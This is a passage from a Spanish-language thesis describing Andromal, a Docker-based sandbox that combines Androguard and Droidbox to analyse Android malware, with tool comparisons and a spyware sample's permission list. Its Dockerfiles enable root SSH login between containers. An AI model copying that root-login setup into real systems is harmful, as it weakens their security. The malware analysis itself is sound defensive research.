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archivos (Drivers de software), procesos, nombre de dispositivos de hardware simulado,

SMBIQS, tablas ACPI, puertos 10, entre otros (Besler, Willems, & Hund, 2018).

e Técnicas especificas de configuracion: Estas técnicas comprenden métodos de evasién como
desencadenadores, suefio extendido y ocultamiento de procesos. Por ejemplo, el suefio
extendido es uno de los métodos de evasion mas comunes donde el codigo malicioso espera
un tiempo prudente a que termine la ejecucion del analisis de codigo malicioso de un sistema.
El hecho de que la ejecucion de una caja de arena es computacionalmente costosa hace que

esta técnica sea efectiva con frecuencia (Keragala, 2016).

Sistema Operativo Android

Android es un sistema operativo de codigo abierto para dispositivos méviles y un proyecto de

codigo fuente liderado por Google. El objetivo de Android es el evitar un punto central de fallo en

el que una sola empresa de la industria pueda restringir el control o la innovacion de otras

empresas. Con este fin, Android es un sistema operativo con calidad de produccion para productos

de consumidores (Google LLC, 2019).

Arquitectura de Android

La pila de software de Android se muestra en la ilustracién 4.
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Aplicaciones de sistema
Configuracion [/ Telefono /
anzador [/ etc.

Aplicaciones instaladas por el
usuario

Librerias del framework de Android

Servicios del sistema

Librerias
de Java

java.”

o ) ) R ) javax.*
Administrador de actividades, paquetes y
ventanas
Libreria en tiempo de ejecucion Dalvik
. Demonios Librerias
Init . . HAL
nativos nativas

Kemel de Linux

lustracion 4 - Arquitectura de Android.

Fuente: Adaptado de Google LLC, 2019

Android se encuentra construido sobre las bases de un nucleo de Linux. Como cualquier otro

sistema operativo Unix, el nicleo provee los controladores para el hardware, redes, acceso al

sistema de archivos y administracion de procesos.

Sobre el nucleo, opera el espacio de usuario escrito en codigo nativo que consiste en el proceso

“Init” (Primer proceso iniciado), varios demonios nativos, cientos de librerias nativas que son

utilizadas en varias partes del sistema y la capa de abstraccion de hardware (HAL) (Elenkov,

2015).

Sobre el espacio de usuario opera la méquina virtual Dalvik o el Android Runtime (ART) junto

con todas las librarias propias de Android. En la version de Android 5.0, Dalvik fue reemplazado

por ART (Linder, 2014).
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Aplicaciones de Android

Una aplicacion de Android esta escrita en Java. El cadigo fuente de Java es compilado a un archivo
class (.class) para luego ser convertido a un ejecutable de Dalvik o ART. Las aplicaciones de
Android se ejecutan sobre una maquina virtual basada en registros que la diferencia de la maquina
virtual de Java para computadoras de escritorio (JVM) la cual opera por medio de pilas. El codigo
ejecutable para la maquina virtual reside dentro de un archivo dex (.dex) o Dalvik Executable

(Buddhdev, Faruki, Gaur, & Laxmi, 2016).

Android Runtime (ART) y Dalvik

El Android Runtime (Tiempo de corrida de Android o ART) es un ambiente de tiempo de corrida
utilizado por las aplicaciones y ciertos servicios del sistema de Android. ART y su predecesor
Dalvik fueron creados especificamente para el proyecto Android. ART y Dalvik son ambientes en
tiempo de corrida compatibles, utilizan bytecode DEX por lo que aplicaciones desarrolladas para

Dalvik pueden ser ejecutadas en ART (Google LLC, 2019).

Dalvik Executable (DEX y ODEX)

ART y Dalvik no pueden ejecutar archivos de bycode de Java directamente (Archivos .class). Su

formato de entrada nativo es el Dalvik Executable (DEX) (Elenkov, 2015). El formato DEX es

utilizado para almacenar un conjunto de definiciones de clases de Java y sus respectivos datos

adjuntos (Google LLC, 2019). Existe una variacion de DEX llamada ODEX (Optimized DEX), la
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cual es cddigo DEX convertido a un formato dependiente de plataforma como parte de una

optimizacion realizada en tiempo de instalacion (Elenkov, 2015).

APK

Las aplicaciones de Android son instaladas por medio de un paquete cominmente conocido como
archivo APK. Los archivos APK’s contienen el codigo, recursos y el manifiesto de las
aplicaciones. Los archivos APK’s son simplemente archivos compresos en formato ZIP que
pueden ser examinados con cualquier utilidad de descompresién de archivos. La convencién de
nombres de archivos utiliza un estilo de nombre de dominio reverso para evitar colisiones entre
nombres de archivos (Teoh, 2019).

Es siguiente diagrama ilustra la estructura interna de un archivo APK (Buddhdev, Faruki, Gaur, &

Laxmi, 2016)

Androidmanifest.xml

Resources

META.INF/MANIFEST.MF

META.INF/CERT.5F

META.INF/CERT.R5A

llustracion 5 - Formato interno de un archivo APK.

Fuente: Adaptado de Google LLC, 2019
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ADB

Desde sus versiones iniciales, Android ha incluido una poderosa herramienta que permite realizar
depuracion interactiva y analizar el estado de un dispositivo llamada Android Debug Bridge
(ADB). ADB se encuentra generalmente deshabilitado en dispositivos de consumidores, pero
puede ser habilitado desde la interfaz grafica del sistema operativo. Debido a que ADB provee
acceso al sistema de archivos del dispositivo y a sus aplicaciones, puede ser utilizado para obtener

acceso no autorizado a sus datos (Elenkov, 2015).

Caodigo malicioso para Android

Al igual que las computadoras de escritorio, los dispositivos que operan con el sistema operativo
Android se encuentran expuestos al riesgo de infeccion de codigo malicioso. Google se refiere al
codigo malicioso (puertas traseras, phishing, spyware y otros) como “Aplicaciones potencialmente
dafiinas” (Elenkov, 2015).

Un dispositivo Android infectado con codigo malicioso se comporta un poco diferente a una
computadora de escritorio que se encuentra infectada. En general, no existen sefiales que alerten
al usuario sobre la infeccion del dispositivo y los comportamientos sospechosos pueden ser

atribuibles a obsolescencia del hardware (Symantec Corporation, 2019).

Tipos de codigo malicioso para Android

La mayoria del codigo malicioso para Android puede ser categorizado en dos tipos:
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Instaladores falsos y troyanos SMS: Aplicaciones que pretenden ser el instalador de
software legitimo y engafian a los usuarios al instalarlo en sus dispositivos. Cuando son
ejecutados, la aplicacion va a desplegar un documento de “Acuerdo de Usuario”. En el
momento que el usuario acepta el acuerda, esta envia mensajes SMS de alto costo. La
funcionalidad prometida casi nunca esta disponible. Hay variantes con aplicaciones
legitimas re-empacadas. Estas proveen la misma funcionalidad a la aplicacién original que
contienen cédigo adicional para enviar SMS de forma secreta durante la ejecucion de
fondo. Este tipo de troyano es facil de implementar y se estima que en promedio cada
muestra de troyano desplegada genera una ganancia de aproximadamente $10 ddlares

americanos.

Spyware y Botnet. Otro tipo de cddigo malicioso observado es clasificado como spyware
y tiene capacidad de transmitir datos privados a un servidor remoto. En una forma mas
compleja, el cddigo malicioso también puede recibir comandos de un servidor y comenzar
actividades especificas en las cuales pasa a formar parte de un botnet. En el verano del
2012, el sofisticado ataque Eurograbber demostrd lo lucrativo que puede ser este tipo de
cédigo malicioso. Robo cerca de 36 millones de Euros de clientes de bancos de Italia,

Alemania, Espafia y Holanda (Van Der Veen & Rossow, 2018).
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Capitulo I111: Marco metodoldgico

Tipo de investigacion

El tipo de investigacion a realizar es cuantitativo con un modelo evaluativo, el cual, a diferencia
del modelo clésico experimental, se basa en un modelo utilitario en lugar de un método en
especifico (Suchman, 1967). Por lo tanto, se espera que esta forma de investigacion tenga un

impacto en el mundo real (Prochaska, 2019).

Alcance Investigativo

El alcance investigativo es exploratorio ya que se esta investigando un problema poco estudiado y
se estan provisionando los insumos y herramientas para futuros estudios sobre el tema (Hernandez
Sampieri, 2014).

Enfoque

El enfoque de la investigacion es cualitativo. Se presentara un conjunto de procesos que se van a
ejecutar de forma secuencial y probatoria. ElI problema planteado es de estudio delimitado y
concreto sobre un fendbmeno (Hernandez Sampieri, 2014), en este caso, sobre codigo malicioso

que afecta a la plataforma Android y las respectivas herramientas de analisis seleccionadas.

Disefio
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El disefio de la investigacion es preexperimental cuantitativa. Esto debido a que es este es un
estudio exploratorio y el grado de control es minimo. También existe la posibilidad de que esta
investigacion sirva como base para futuras investigaciones experimentales sobre el tema.

(Fenéndez Collado & Baptista Lucio, 2014).

Poblacion

La poblacion esta compuesta por muestras de codigo malicioso para Android obtenidos del

repositorio “Android Malware Samples” en GitHub. A la fecha elaboracion de esta investigacion,

la poblacidn total de era de 216 muestras (Bhatia, GitHub, 2019).

Muestreo

El muestreo es intencional. Debido a la complejidad del problema, no todas las muestras pueden

ser analizadas por limitaciones técnicas. Por ejemplo, la muestra falla en su ejecucion, requiere

hardware real o es incompatible con la version del sistema operativo utilizado por el simulador.

También existe la necesidad de medir la eficacia de la herramienta por lo que es imperativo utilizar

muestras que cuenten con experimentos de seguridad previamente realizados y publicados para

que sean linea base del analisis de resultados.

Técnicas e instrumentos de recoleccién de datos

Las siguientes técnicas se van a utilizar para recolectar datos:
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e Observaciones del proceso de instalacion de la herramienta de analisis de cédigo malicioso

y los siguientes instrumentos:

o Bitacoras de instalacion.

o Mediciones de tiempo de instalacion.

o Capturas de pantalla.

e Observaciones del proceso de analisis de codigo malicioso sobre muestras junto con los

siguientes instrumentos:

Bitacoras de ejecucion

(@]

Cddigo fuente

(@]

Capturas de pantalla

(@]

o Grafos de control de flujo

e Revision documental del proceso de instalacion y uso de las herramientas de andlisis de

cddigo malicioso y los registros de los siguientes instrumentos:

o Bitacoras de instalacion

o Cddigo fuente

o Licencias de software
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e Revision documental de publicaciones acerca de analisis de muestras de cddigo malicioso

para Android y los registros de los siguientes instrumentos:

(@]

Bitacoras de ejecucion

Caodigo fuente

(@]

Capturas de pantalla

(@]

o Grafos de control de flujo
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Capitulo 1V: Desarrollo de la solucién

Evaluacion de herramientas de caja de arena

La siguiente tabla presenta un resumen de la evaluacion de las tres soluciones de caja de arena

consideradas durante la investigacion:

Cadig ) Instalacio
¢Es compatible | Ultima fecha | Documentacio
0 ny
Herramienta = Licenciamiento el de n disponible y
abiert ejecucion
licenciamiento? | actualizacion clara
0 exitosa
No se puede
CuckooDroid | No disponible Si 2 afios No No
determinar
No se puede Menos de un
AndroPyTool | No disponible Si No No
determinar afio
Joe Sandbox Menos de un
Privado No No No aplica No aplica
Mobile afio

No fue posible ejecutar ninguna de las dos herramientas de codigo abierto CuckooDroid y
AndroPyTool. Ambas soluciones fueron instaladas desde codigo fuente en maquinas virtuales de
Linux 16.04. Estos programas dependen en gran parte del lenguaje de programacion Python. Este
presenta un considerable nimero de problemas de compatibilidad entre sus versiones de lenguaje
y dependencias externas (Low, 2018). Ambas herramientas también dependen de otras

herramientas de analisis de codigo malicioso de Android (e.g. Androguard), las cuales a su vez
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requieren versiones especificas de Python y librerias de sistema. Durante la ejecucion de

CuckooDroid se encontro el siguiente problema:

CuckooCiriticalError: Unable to import plugin "modules.processing.apkinfo": No module named

androguard.core.analysis.analysis

Este problema se encuentra documentado en el repositorio de codigo fuente de la herramienta y
no existe una solucion documentada. En el caso de AndroPyTool, fue posible corregir la mayoria
de los problemas de dependencias de Python pero no fue posible lograr que el demonio ADB y el
simulador se comunicaran entre si. Se obtuvo el siguiente error de sistema:

failed to start daemon *

error: cannot connect to daemon: Connection refused
Waiting until boot is completed

Boot not completed

error: device '(null) not found

Boot not completed

error: device offline

Boot not completed

Al igual que en el caso de CuckooDroid, este error se encuentra documentado en el repositorio del
cédigo fuente, pero no existen soluciones al problema. Cabe mencionar que, durante la elaboracion
de esta investigacion, una nueva version de AndroPyTool fue liberada. Esta version opera dentro
de un contenedor Docker pero debido a limitaciones de tiempo no fue posible evaluarla y
determinar si los problemas encontrados durante esta investigacion habian sido resueltos.

Joe Sandbox Mobile es una solucion privada que requiere pago para poder ser utilizada. Debido a
sus caracteristicas de licenciamiento (es un producto comercial) se determiné que dicha

herramienta no es apta para ser evaluada dentro de esta investigacion.

Evaluacion de herramientas de analisis de cddigo estatico
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La siguiente tabla muestra el resumen de la evaluacién de las herramientas de analisis de codigo

estatico:
Ultima fecha
Codigo | ¢Es compatible el
Herramienta Licenciamiento de
abierto licenciamiento?
actualizacién
Apache License, Menos de un
Androguard Si Si
Version 2.0 afio
GNU Lesser
Menos de un
Androwarn General Public Si Si
afio
License
Apache License, Menos de un
Apktool Si Si
Version 2.0 afo
No se puede Menos de un
Kisskiss No disponible Si
determinar afo

Documentacion
disponible y

clara

Si

Si

Si

No

Instalacion
y ejecucion

exitosa

Si

Si

Si

Si

Todas las herramientas de analisis estatico de cddigo fueron instaladas y ejecutadas en forma

exitosa desde su cédigo fuente en un ambiente Linux 16.04. Parte del resultado positivo obtenido

durante el proceso de evaluacion fue debido a las siguientes causas:

e (Cada una de las herramientas se instal6 y ejecutd en un su ambiente propio, el cual se

encontraba en un estado “virgen” (sin otras herramientas de andlisis instaladas que

pudiesen causar incompatibilidad).

e Se instalaron solo los prerrequisitos mencionados en la documentacion de la herramienta.

e Se instalo la version especifica de Python recomendada en la documentacion.
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En lo que respecta a funcionalidad, el siguiente cuadro muestra un resumen de las distintas

funcionalidades y caracteristicas de cada una de las herramientas:

Extraccion de

Herramienta

manifest.xml
Androguard Si
Androwarn Si
Apktool Si
Kisskiss No

Extraccion de

resources.arsc

Si

No

Si

No

Decompilado y
generacion de

CFG

Si

No

Si, no genera CFG

No

Analisis patrones
de
comportamiento

de cddigo

No

Si

No

No

Desempacado de

binarios

No

No

No

Si

Las herramientas Androguard y Apktool ofrecen virtualmente la misma funcionalidad, con la

excepcion de que Apktool no genera grafos de control de flujo. Algunas caracteristicas de

Androwarn se encuentran presentes en Androguard. Sin embargo, Androwarn ofrece un andlisis

unico de patrones de comportamiento que no se encuentra en ninguna de las otras herramientas.

KissKiss cumple un papel dnico al ser el Gnico desempacador de archivos binarios encontrado

durante la busqueda de herramientas de andlisis estatico.

Evaluacion de herramientas de anélisis de cddigo dindmico

La siguiente tabla muestra el resumen de la evaluacién de las herramientas de andlisis de codigo

dindmico:
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¢ Es compatible Ultima fecha Documentacién | Instalaciony

Cddigo
Herramienta Licenciamiento el de disponible y ejecucion
abierto
licenciamiento? actualizacion clara exitosa
GNU Lesser
Droidbox General Public Si Si 4 afios Si Si
License
No se puede
Xposed No disponible Mixto 1 afio No Si/No
determinar
Mobile Security
No se puede Menos de un
Framework Mixto Mixto Si Si
determinar afio

(MobSF)

Droidbox y MobSF pudieron ser instaladas y ejecutadas de forma exitosa. La instalacion de ambas
desde codigo fuente no fue intentada debido a que habia imagenes precompiladas de Docker
disponibles al momento de realizar la evaluacion. MobSF requiere varios pasos adicionales para
poder realizar un analisis dindmico de cddigo, incluyendo las configuraciones de maquinas
virtuales, proxys, y simuladores de Android (Abraham, 2019).

En el caso de Xposed, la version para Android 4.4 pudo ser evaluada en un simulador de Android.
Las versiones mas nuevas de la herramienta no pudieron ser instaladas en el simulador, pero
probablemente operan sin problema en dispositivos reales.

En lo que respecta a funcionalidades, Droidbox y MobSF son relativamente similares con la
salvedad de que MobSF ha evolucionado desde el inicio de esta investigacion. Esta se ha
convertido en una herramienta completa de caja de arena con funciones adicionales de analisis
estatico de codigo y una interfaz web agradable y de facil uso (Ver apéndice 6).

Xposed es, en cambio, un marco de trabajo utilizado para cambiar el comportamiento del sistema

y aplicaciones en tiempo de corrida. Esta herramienta es generalmente utilizada por otras
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herramientas de analisis dinamico para inspeccionar el comportamiento de una muestra de codigo

durante su ejecucion.

Seleccion de tecnologias

Debido a las limitantes de tiempo para realizar esta investigacion, se decidio6 seleccionar solamente

una herramienta de andlisis estatico de codigo, Androguard, y una herramienta de analisis

dindmico de cddigo, Droidbox. Las herramientas se seleccionaron con base a los siguientes

criterios técnicos:

e Modelo de licenciamiento.

e Problemas encontrados durante la instalacién del software.

e Facilidad de ejecucion.

e En el caso de analisis estatico, cumplir con la siguiente funcionalidad:

o

o

Extraccion del manifest.xml

Decompilado del cédigo fuente.

o Generacion de grafos de control de flujo.

e En el caso de analisis dinamico, cumplir con la siguiente funcionalidad:

o

o

Monitoreo de red.

Listado de direcciones IP accedidas.
Monitoreo de ejecutables lanzados.
Reporte de archivos accedidos.

Reporte de llamadas.

52



o Reporte de envio de mensajes.
o Uso de librerias criptograficas.
o Inicio de servicios.

o Capturas de pantalla.

Las siguientes tecnologias se van a utilizar de forma complementaria:

NodeJS y Express

NodeJS es una libreria en tiempo de corrida que permite la ejecucion de codigo Javascript (Node.js
Foundation, 2019). La interfaz web de la aplicacién va a operar sobre la tecnologia NodelS vy el
marco de trabajo Express (Node.js Foundation, 2019). El desarrollo con estas tecnologias permite
la elaboracion rapida de prototipos. Ademas, existen multiples interfaces web de codigo abierto

compatibles con estas tecnologias.

Docker

Uno de los objetivos de esta investigacion es el de automatizar la instalacion y ejecucion de la caja
de arena. Docker es una tecnologia que permite crear y distribuir aplicaciones por medio de
contenedores. Un contenedor permite distribuir una aplicacién con todas las partes que necesita,
como librerias y otras dependencias (Red Hat, Inc., 2019). Adicionalmente, el software se puede
distribuir preconfigurado con redes virtuales que no requieren configuracion manual por parte del

usuario.
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SSH es una herramienta de conectividad para acceso remoto que implementa el protocolo SSH
(OpenBSD Foundation, 2019). La herramienta es utilizada para controlar las distintas instancias

de Docker.

Arquitectura propuesta

A continuacion, se presenta un diagrama de la arquitectura propuesta para la solucion:

Droidbox
(Anélisis dinamico)

Sistema de archivos distribuido

i Andromal ‘
: (Interfaz web) '
' ' Muzs:ras Resultados

de analsis
Actor malware

Androguard
(Analsis estatico)

lustracion 6 - Arquitectura del sistema.

Fuente: Elaboracion propia

La arquitectura propuesta consta de tres componentes:
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1. Andromal el cual es el componente web utilizado por el usuario y encargado de controlar
los otros componentes del sistema. Este componente tiene que ser desarrollado en su
totalidad.

2. Droibox, el componente encargado del analisis dinamico de cédigo.

3. Androguard, el componente a cargo del analisis estatico de codigo.

Cada uno de los componentes del sistema es un contenedor de Docker independiente. Este nivel
de separacion permite que librerias en tiempo de ejecucion, utilidades y componentes de terceros
estén aislados entre si, evitando conflictos e incompatibilidades.

El uso de Docker trae otros beneficios. Por ejemplo, permite la configuracién y administracion

automatica de los siguientes recursos:

1. Red virtual compartida donde los tres contenedores son visibles entre si.
2. Unvolumen de datos virtual compartidos entre los tres contenedores. Este volumen virtual
contiene:
a. Las muestras de codigo malicioso que van a ser analizadas.

b. Los resultados de las corridas de los analisis estaticos y dindmicos de cédigo.

La solucion va a emplear el patron de comunicacion maestro/esclavo donde las instancias de
Droidbox y Androguard van a responder a los comandos enviados por la instancia de Andromal.
El siguiente diagrama de secuencia describe el flujo de las acciones y mensajes enviados a los

distintos componentes del sistema en el caso de uso de inicio de un analisis de codigo:
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i Andromal

Droidbox

Iniciar analisis

Iniciar analisis dindmico

: <-

Resultado andlisis dinamico

Iniciar analisis dindmico
T

Androguard

Resultado analisis

- --nesulado andlsis

i
Resultado andlisis estatico

B

lustracion 7 - Diagrama de secuencia - Inicio de analisis.

Pila de software

Droidbox (Contenedor Docker)

Android SDK Emulador Android
J
Servidor SSH Python
~ vy
( N
Droidbox Android 0S
madificado
~ /

Fuente: Elaboracion propia

Andromal (Contenedor Docker)

[ Cliente SSH ’ ‘ Node JS ]
{ Scripts de Bash J t Express }

lustracién 8 - Pilas de software de cada contenedor.

Fuente: Elaboracion propia

Androguard (ContenedorDocker)

[ Servidor SSH ’ ‘ Python J
[ Androguard ] { Graphviz }

Cada contendor posee un ambiente en tiempo de ejecucion aislado de los otros contenedores. Por

lo tanto, cada ambiente tiene su propia pila de software independiente (ver ilustracién 8).

Como se discutio anteriormente, esta decision de disefio se tomd con el objetivo de mantener

separadas las librerias de software que son incompatibles entre si. El nivel de estabilidad que se

alcanza con este acercamiento justifica el mayor uso de recursos de sistema (e.g. almacenamiento).
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Solucion para comunicacion entre contenedores

Debido a que cada contenedor opera como un ambiente computacional aislado, se propuso un

mecanismo para compartir archivos y mensajes entre contenedores.

Compartir archivos entre contenedores

Docker incluye una funcionalidad nativa para compartir el sistema de archivos entre distintos
contenedores de Docker. El ambiente huésped comparte un directorio con todos los contenedores.
Este es utilizado como un volumen de disco dentro de cada contenedor. Para cada contenedor el
acceso a este volumen es transparente ya que el software dentro del contenedor puede operar de
forma normal sin requerir modificaciones especiales. La ilustracién 6 muestra como los recursos

del sistema de archivos del huésped son compartidos entre los distintos contenedores del sistema.

Envi6 de mensajes entre contenedores

Los procesos de sistema de cada contenedor se encuentran aislados entre si. Esto evita la
invocacion directa de comandos dentro de un contendor hacia otro contenedor.

Debido a que un contenedor opera como maestro de otros contenedores (enviando mensajes), fue
necesario implementar una solucién para la ejecucion remota de comandos basada en el software
SSH y uso de llaves publicas y privadas. El flujo de ejecucién de un comando remoto se ilustra de

la siguiente forma:
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spawn ( 1 SSH Contenedor
» Script de lanzamiento Docker
L J Llave
publica

Aplicacion NodeJS

lustracion 9 - Ejecucion de un comando remoto en un contenedor.

Fuente: Elaboracion propia

El contenedor maestro tiene una copia de una llave privada la cual es utilizada para autenticar y
enviar comandos de SSH a los contenedores esclavos. Cada contenedor tiene una copia de la llave
publica correspondiente. Asi, permite la autenticacién del protocolo SSH sin necesidad de utilizar
contrasefias. Cada invocacion de un comando remoto envia un mensaje por medio de SSH a los
contenedores esclavos.

El siguiente fragmento de cddigo se utiliza para generar la llave privada utilizada por el contenedor
maestro:

$ ssh-keygen -t rsa -b 4096 -C "andromal”

Una vez creada la llave privada, esta puede ser distribuida de forma automaética al contenedor
maestro por medio de los siguientes comandos:

#Setup SSH access

RUN mkdir --mode=700 /root/.ssh
COPY id_rsa /root/.ssh/

RUN chmod 600 /root/.ssh/id_rsa

En cada contenedor esclavo es necesario instalar el servidor de SSH y permitir la autenticacion

por medio de certificados, esto se puede lograr de forma automatica con el siguiente codigo:
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#Setup SSH server

RUN apt-get update && apt-get install -y openssh-server

RUN mkdir /var/run/sshd

RUN sed -i 's/PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config

RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g" -i /etc/pam.d/sshd

#Setup SSH access

RUN mkdir --mode=700 /root/.ssh

COPY id_rsa.pub /root/

RUN cat /root/id_rsa.pub >> /root/.ssh/authorized_keys
RUN chmod 600 /root/.ssh/authorized_keys

RUN rm /root/id_rsa.pub

Desarrollo de contenedor para Androguard

La imagen de Docker de Androguard fue generada utilizando como base una imagen de Docker
que contiene el ambiente de Python 2.7.16. Utilizando los comandos mencionados en la
documentacion de la herramienta, fue posible realizar una instalacion automatizada y sin
contratiempos del software.

FROM python:2.7.16

#install androguard
RUN pip install -U androguard
RUN pip install graphviz

La preparacion del contenedor de Androguard necesité de varios programas adicionales que
permitieran su ejecucion de acuerdo con los pardmetros del proyecto. El siguiente extracto de
cédigo muestra los comandos necesarios para extraer el archivo “manifest.xml”

#Extract manifest data

androguard axml -o /data/static_analysis/$1/manifest/manifest.xml -i /data/samples/$1/$2
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Una vez extraido el manifiesto de la aplicacion, se puede aplicar una expresion regular para extraer
el nombre de dominio inverso que representa el punto de entrada de la aplicacion. Este valor debe
ser enviado al decompilador de Androguard para poder ejecutar el proceso de decompilacion y
generacion de grafos de flujo de forma efectiva.

#Extract the package name

package=$(cat /data/static_analysis/$1/manifest/manifest.xml | grep -Po '*package="\K.*?(?="*)" | tr ." '/')
androguard decompile -0 /data/static_analysis/$1/decompiled -f png -i /data/samples/$1/$2 --limit
"AL$package/.*"

Desarrollo de contenedor para Droidbox

Para el desarrollo de Droidbox se utiliz6 como base una imagen precompilada de Docker a la cual

se le agregd un servidor de SSH. El siguiente cddigo muestra la forma en que esto se realizo.

FROM honeynet/droidbox

#Setup SSH server
RUN apt-get update && apt-get install -y openssh-server

Droidbox opera bajo un ambiente muy complejo de variables de ambiente que describen la
ubicacién de las librerias de Java y del SDK de Android. Cada comando remoto enviado al
contenedor de Droidbox se ejecuta sin estas variables de ambiente, por lo cual fueron necesarias
varias modificaciones en el contenedor de Droidbox para poder reestablecer estas variables de
forma automatica con cada comando recibido. El siguiente extracto de codigo muestra como se
realizo esta modificacion al sistema donde se reconstruyen las variables de ambiente para sesiones

de SSH:
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#Set ENV for SSH connections

RUN echo 'declare -x LC_ALL="C" >> /root/.bashrc

RUN echo 'declare -x DEBIAN_FRONTEND="noninteractive™ >> /root/.bashrc

RUN echo 'declare -x JAVA_HOME="/usr/lib/jvm/java-7-openjdk-amd64/" >> [root/.bashrc
RUN echo 'declare -x ANDROID_HOME="/opt/android-sdk-linux" >> /root/.bashrc

RUN echo 'declare -x ANDROID_SDK_HOME="/opt/android-sdk-linux™ >> /root/.bashrc
RUN echo 'declare -x
PATH="${PATH}:$JAVA_HOME/bin:${ANDROID_HOME}/tools:${ANDROID_HOME}/platform-tools™ >>
/root/.bashrc

RUN echo 'declare -x sv="r24.4.1" >> [root/.bashrc

RUN echo 'declare -x TERM=linux' >> /root/.bashrc

RUN echo 'declare -x TERMINFO=/etc/terminfo’ >> /root/.bashrc

#Patch .bashrc
RUN sed -i 's/\[ \-z \"\$PS1\" \] \&\& return/#/' /root/.bashrc

#Patch .profile

Un problema que tuvo que solucionarse fue el de las politicas de escritura a disco de Python. Este
programa previene la escritura a disco almacenado en la memoria RAM, esto con el fin de
descargar todo al disco en el momento que termina la ejecucion del programa (Jabeen, 2018).

Al momento de cerrarse las sesiones remotas de SSH en contenedores esclavos, los programas de
Python encargados de vaciar los resultados del analisis a disco no lo estaban haciendo a tiempo.
Por lo tanto, se realizaron modificaciones al codigo para que las escrituras a disco ocurrieran lo
antes posible, previendo el vaciado y escritura de buferes hasta la finalizacion del programa:

with open("/tmp/analysis.json”, "w", 0) as jsonfile:
jsonfile.write(json.dumps(output,sort_keys=True, indent=4))
jsonfile.flush()
os.fsync(jsonfile.fileno())
jsonfile.close()

Para facilitar el proceso de depurado, cada comando ejecutado redirige el flujo de datos de la salida

estandar de errores al volumen de datos compartido:

61



python /opt/DroidBox_4.1.1/scripts/droidbox.py /data/samples/$1/$2 $3 2>&1 |tee
/data/dynamic_analysis/$1/logs/analysis.log

Desarrollo de la aplicacion Andromal y su contenedor

La aplicacion Andromal funciona como el contenedor maestro del sistema. Esta aplicacion tuvo

que ser desarrollada en su totalidad y provee las siguientes funcionalidades:

e Interfaz de usuario web para administracion de muestras, ejecutar analisis y descargar sus
resultados (Ver apéndices 7, 8, 9).

e Control remoto de los procesos de analisis de Androguard y Droidbox.

e Generacion automatica de reportes de analisis estatico y dinamico de codigo malicioso,

extraccion de codigo fuente y grafos de control de flujo (Ver apéndice 10).

La interfaz web de Andromal fue desarrollada utilizando NodeJS y Express. El proceso de
generacion del contenedor de la aplicacion es estandar y no requiri6 comandos o soluciones
especializadas (Node.js Foundation, 2019).

La ejecucion de comandos remotos se realiza con scripts de Bash, los cuales deben tomar en
consideracion si estan siendo ejecutados desde un ambiente de desarrollo o producciéon (un

contenedor Docker):
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#1/bin/sh
if [ -f /.dockerenv ]; then
ssh root@androguard -p 22 "/opt/androguard/bin/./decompile.sh $1 $2"
else
ssh root@localhost -p 2222 "/opt/androguard/bin/./decompile.sh $1 $2"
fi
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Capitulo V: Analisis de resultados

Proceso de instalacion de cajas de arena para analisis de codigo malicioso de Android

Todas las instalaciones se realizaron en un ambiente de pruebas con las siguientes caracteristicas:

Caracteristica Descripcion
Procesador Intel Core i7-9700K
RAM 32 GB DDR4
Almacenamiento en disco 1 TB NVe SDD
Conexidn de internet 50 Mbsp

A continuacion, se muestran los resultados obtenidos durante el proceso de instalacion de cada una

de las soluciones de caja de arena:

Instalacion re lllfir:c?o ara Nivel de Sistema
Herramienta | y ejecucion qrealizaf') complejidad | operativo de Comentarios
exitosa . L técnica pruebas
instalacion
CuckooDroid No 8 horas Alto Linux 16.04 | No fue posible realizar ningln tipo de
prueba.
Lnacison | L8 T b e pr e
AndroPyTool Si/No 2 horas Medio Windows 10 . P
realizar la conexion entre la
1903 . e .
herramienta de analisis y el simulador.
1604 mion oo e
MobSF si 4 horas Alto Windows 10 | 9ra%0 @€ ¢ 10
configuracion de redes y maquinas
1903 .
virtuales.
La instalacion se realizd de forma
exitosa y esta limitada por el ancho de
Linux 16.04 | banda utilizado para descargar las
Andromal Si 15 minutos Bajo Windows 10 | imagenes de Docker. No se requieren

1903 conocimientos  adicionales  sobre
maquinas virtuales o configuraciones
complejas de red.
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Como se puede observar, la solucion propuesta por esta investigacion (Andromal) tuvo el menor
tiempo de instalacion. Adicionalmente, fue la Gnica solucién que no requirié configuraciones de

red adicionales, simuladores 0 maquinas virtuales.

Evaluacion de la efectividad de la solucion propuesta

A continuacion, se describen los resultados comparativos del analisis de tres muestras de codigo
malicioso para Android. Cada muestra a sido analizada previamente por un experto en cédigo
malicioso y ha publicado un reporte al respecto. Los resultados arrojados en dichas publicaciones
son utilizados de forma comparativa como medio de control los resultados obtenidos con

Andromal.

370FE3D8E9B40702B08A5F93003DEOD3.B2BC7B7D.apk

Esta muestra de codigo malicioso fue descubierta en el afio 2015 y fue identificada como spyware

por el AVL Mobile Security Team (Partrick, 2015).

Resultados de analisis estatico de permisos

Reporte original
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El reporte de analisis detalla que esta aplicacion carga la informacién de contacto, SMS,

grabaciones de llamadas y ubicacion de GPS a un servidor remoto. No se provee informacién

adicional que ayude a identificar los permisos utilizados.

Reporte comparativo (Andromal)

El reporte lanzado por Andromal detalla claramente que la aplicacion requiere 39 permisos de

acceso sobre distintos recursos del dispositivo (incluyendo mensajes, llamadas, contactos y otros):

RECEIVE_BOOT_COMPLETED
CHANGE_NETWORK_STATE
READ_LOGS

READ_SMS

SEND_SMS

RECEIVE_SMS
ACCESS_WIFI_STATE
CHANGE_WIFI_STATE
WAKE_LOCK
ACCESS_PROVIDER
READ_HISTORY_BOOKMARKS
READ_CALENDAR

INTERNET
MODIFY_AUDIO_SETTINGS

RECORD_AUDIO

PROCESS_OUTGOING_CALLS

WRITE_SETTINGS
READ_PHONE_STATE
READ_CONTACTS
WRITE_CONTACTS
CALL_PHONE
DISABLE_KEYGUARD
CAMERA

VIBRATE
ACCESS_FINE_LOCATION

ACCESS_COARSE_LOCATION

WRITE_EXTERNAL_STORAGE

Resultado del analisis estatico de codigo fuente

Reporte original

BLUETOOTH
GET_ACCOUNTS
BROADCAST_STICKY

ACCESS_NETWORK_STATE

MOUNT_UNMOUNT_FILESYSTEMS
SEND_SMS

WRITE_SMS
SYSTEM_ALERT_WINDOW
RECORD_VIDEO
ACCESS_LOCATION
RESTART_PACKAGES

INSTALL_SHORTCUT
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El reporte original muestra el codigo fuente del mecanismo de comunicacion realizado por el

programa durante su lanzamiento por primera vez y establecimiento de una conexion de red:

private void UserFistTimeUserVerification() {

